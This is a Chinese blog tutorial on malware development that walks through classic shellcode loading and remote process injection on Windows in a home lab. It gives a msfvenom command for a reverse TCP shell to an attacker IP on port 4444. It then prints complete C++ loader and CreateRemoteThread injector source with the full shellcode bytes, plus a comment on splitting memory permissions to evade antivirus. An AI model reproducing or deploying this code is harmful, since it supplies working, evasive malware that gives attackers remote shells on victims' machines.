恶意软件开发(二)经典代码注入流程
什么是代码注入?为什么需要代码注入?
代码注入是指将一段恶意代码注入到正在运行的进程中,以便实现对该进程的控制和操作。通过代码进程注入,攻击者可以在运行中的进程中执行自己的代码,从而可以窃取敏感信息、控制系统或执行其他恶意行为。
攻击者可以使用各种技术来进行代码进程注入攻击,包括使用已知的漏洞、使用API hooking和DLL注入等技术。这些技术可以让攻击者将自己的代码注入到正在运行的进程中,并操纵进程执行恶意操作。
演示环境:使用kali虚拟机作为攻击者(172.18.53.24),物理机win10作为受害者(172.18.53.14)
调试payload
首先在攻击者的机器上使用msfvenom
生成反弹shell,也就是接下来需要的payload,LHOST
和LPORT
分别为攻击者的IP地址和监听端口。
使用msfvenom
生成反弹shell:msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.18.53.24 LPORT=4444 -f c
。
C++恶意代码的主要逻辑为:
- (1)在进程中分配新的buffer
- (2)将payload复制到buffer中
- (3)将buffer设置为可执行
- (4)执行payload
这里涉及的函数有:
(1)VirtualAlloc:用于在当前进程的虚拟地址空间中分配指定大小的内存块。
LPVOID VirtualAlloc( LPVOID lpAddress, // 要分配的内存区域的起始地址 SIZE_T dwSize, // 要分配的内存区域的大小(以字节为单位) DWORD flAllocationType, // 内存分配类型 DWORD flProtect // 内存保护类型 );
(2)RtlMoveMemory:用于在内存中移动数据。
void RtlMoveMemory( void* Destination, // 指向目标内存区域的指针,即数据移动的目的地址 const void* Source, // 指向源内存区域的指针,即要移动的数据的起始地址 size_t Length // 要移动的数据的长度(以字节为单位) );
(3)VirtualProtect:用于修改虚拟内存区域保护属性的函数。
BOOL VirtualProtect( LPVOID lpAddress, // 要修改访问权限的内存区域的起始地址 SIZE_T dwSize, // 要修改访问权限的内存区域的大小(以字节为单位) DWORD flNewProtect, // 新的内存保护属性 PDWORD lpflOldProtect // 指向一个DWORD变量的指针,用于保存修改前的内存保护属性 );
(4)CreateThread:用于创建一个新的线程并开始执行。
HANDLE CreateThread( LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程安全属性,如果为NULL,线程将使用默认的安全属性 SIZE_T dwStackSize, // 线程栈的大小,如果为0,线程将使用默认的栈大小 LPTHREAD_START_ROUTINE lpStartAddress, // 线程的启动函数地址,这个函数将被新线程执行 LPVOID lpParameter, // 传递给线程启动函数的参数,如果不需要参数,可以传递NULL DWORD dwCreationFlags, // 线程的创建标志 LPDWORD lpThreadId // 用于存储新线程标识符的变量地址 );
完整代码如下:
#include <windows.h> #include <stdio.h> #include <stdlib.h> #include <string.h> // payload unsigned char my_payload[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33" "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00" "\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xac\x12\x35\x18\x41\x54" "\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c" "\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff" "\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2" "\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48" "\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99" "\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63" "\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57" "\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44" "\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6" "\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff" "\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5" "\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff" "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48" "\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13" "\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"; // 计算payload长度 unsigned int my_payload_len = sizeof(my_payload); int main(void){ void *my_payload_mem; // 给payload分配空间 BOOL rv; HANDLE th; DWORD oldprotect = 0; // (1)在进程中分配新的buffer // 此处将分配内存设置为PAGE_READWRITE而不是PAGE_EXECUTE_READWRITE是因为设置为可读写执行 // 会被一些搜索工具或反病毒引擎发现,所以将这个操作拆分为先读写,再改为可执行 my_payload_mem = VirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // (2)将payload复制到buffer中 RtlMoveMemory(my_payload_mem, my_payload, my_payload_len); // (3)将buffer设置为可执行 rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect); if (rv != 0){ // 执行payload th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)my_payload_mem, 0, 0, 0); WaitForSingleObject(th, -1); } return 0; }
在攻击者机器上监听4444
端口:
然后,编译运行上面的代码:
可以在攻击者机器上看到shell
弹回来了:
并且可以在受害者机器上使用Process Hacker看到,受害者机器上建立了一个到攻击者机器的网络连接:
代码注入
将payload注入到notepad进程中(这里我尝试了计算器没成功,不知道为啥),步骤如下:
- (1)在目标进程中分配大于payload大小的内存
- (2)将payload复制到目标进程中
- (3)在目标进程中执行payload
这里涉及的函数有:
(1)OpenProcess:用于打开指定进程的句柄,以便在进程间进行通信或操作。
HANDLE OpenProcess( DWORD dwDesiredAccess, // 访问权限 BOOL bInheritHandle, // 是否继承句柄 DWORD dwProcessId // 进程ID );
(2)VirtualAllocEx:为远程进程分配内存缓冲区,这个函数可以用于实现共享内存,动态加载DLL文件,以及创建线程栈等操作。
LPVOID VirtualAllocEx( HANDLE hProcess, // 目标进程句柄 LPVOID lpAddress, // 分配的内存地址 SIZE_T dwSize, // 分配的内存大小 DWORD flAllocationType,// 内存分配类型 DWORD flProtect // 内存保护属性 );
(3)WriteProcessMemory:在进程之间复制数据,该函数可用于在不同进程之间共享数据,或者在同一进程中的不同线程之间共享数据。:
BOOL WriteProcessMemory( HANDLE hProcess, // 目标进程句柄 LPVOID lpBaseAddress, // 目标内存地址 LPCVOID lpBuffer, // 写入数据的缓冲区 SIZE_T nSize, // 写入数据的大小 SIZE_T *lpNumberOfBytesWritten // 实际写入数据的大小 );
(4)CreateRemoteThread:用于在指定进程中创建一个远程线程,并在远程线程中执行指定的函数。该函数可用于在不同进程之间执行函数,或者在同一进程中的不同线程之间执行函数。
HANDLE CreateRemoteThread( HANDLE hProcess, // 目标进程句柄 LPSECURITY_ATTRIBUTES lpThreadAttributes,// 线程安全属性 SIZE_T dwStackSize, // 线程栈大小 LPTHREAD_START_ROUTINE lpStartAddress, // 线程入口地址 LPVOID lpParameter, // 线程参数 DWORD dwCreationFlags, // 线程创建标志 LPDWORD lpThreadId // 线程ID );
整体代码如下:
#include <windows.h> #include <stdio.h> #include <stdlib.h> #include <string.h> // payload unsigned char my_payload[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33" "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00" "\x49\x89\xe5\x49\xbc\x02\x00\x11\x5c\xac\x12\x35\x18\x41\x54" "\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c" "\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff" "\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2" "\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48" "\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99" "\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63" "\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57" "\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44" "\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6" "\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff" "\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5" "\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff" "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48" "\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13" "\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"; // 计算payload长度 unsigned int my_payload_len = sizeof(my_payload); int main(int argc, char* argv[]){ HANDLE ph; // 进程句柄 HANDLE rt; // 目标线程 HANDLE rb; // 远程内存 // 打印进程PID printf("PID:%i", atoi(argv[1])); // 打开进程 ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1]))); // 在目标进程中分配内存 rb = VirtualAllocEx(ph, NULL, my_payload_len, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE); // 在进程间复制数据 WriteProcessMemory(ph, rb, my_payload, my_payload_len, NULL); // 启动一个新的线程 rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL); CloseHandle(ph); return 0; }
在攻击者机器上监听4444端口:
然后在受害者机器上打开notepad,查看PID,然后运行恶意程序并输入PID进行注入:
回到攻击者机器上,shell成功弹回来了:
通过process hacker查看网络,可以看到受害者机器建立了与攻击者机器的网络连接:
通过process hacker查看notepad的内存,可以看到我们分配的缓冲区,其中可以看到加载了负责套接字管理的ws2_32.dll
模块:
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」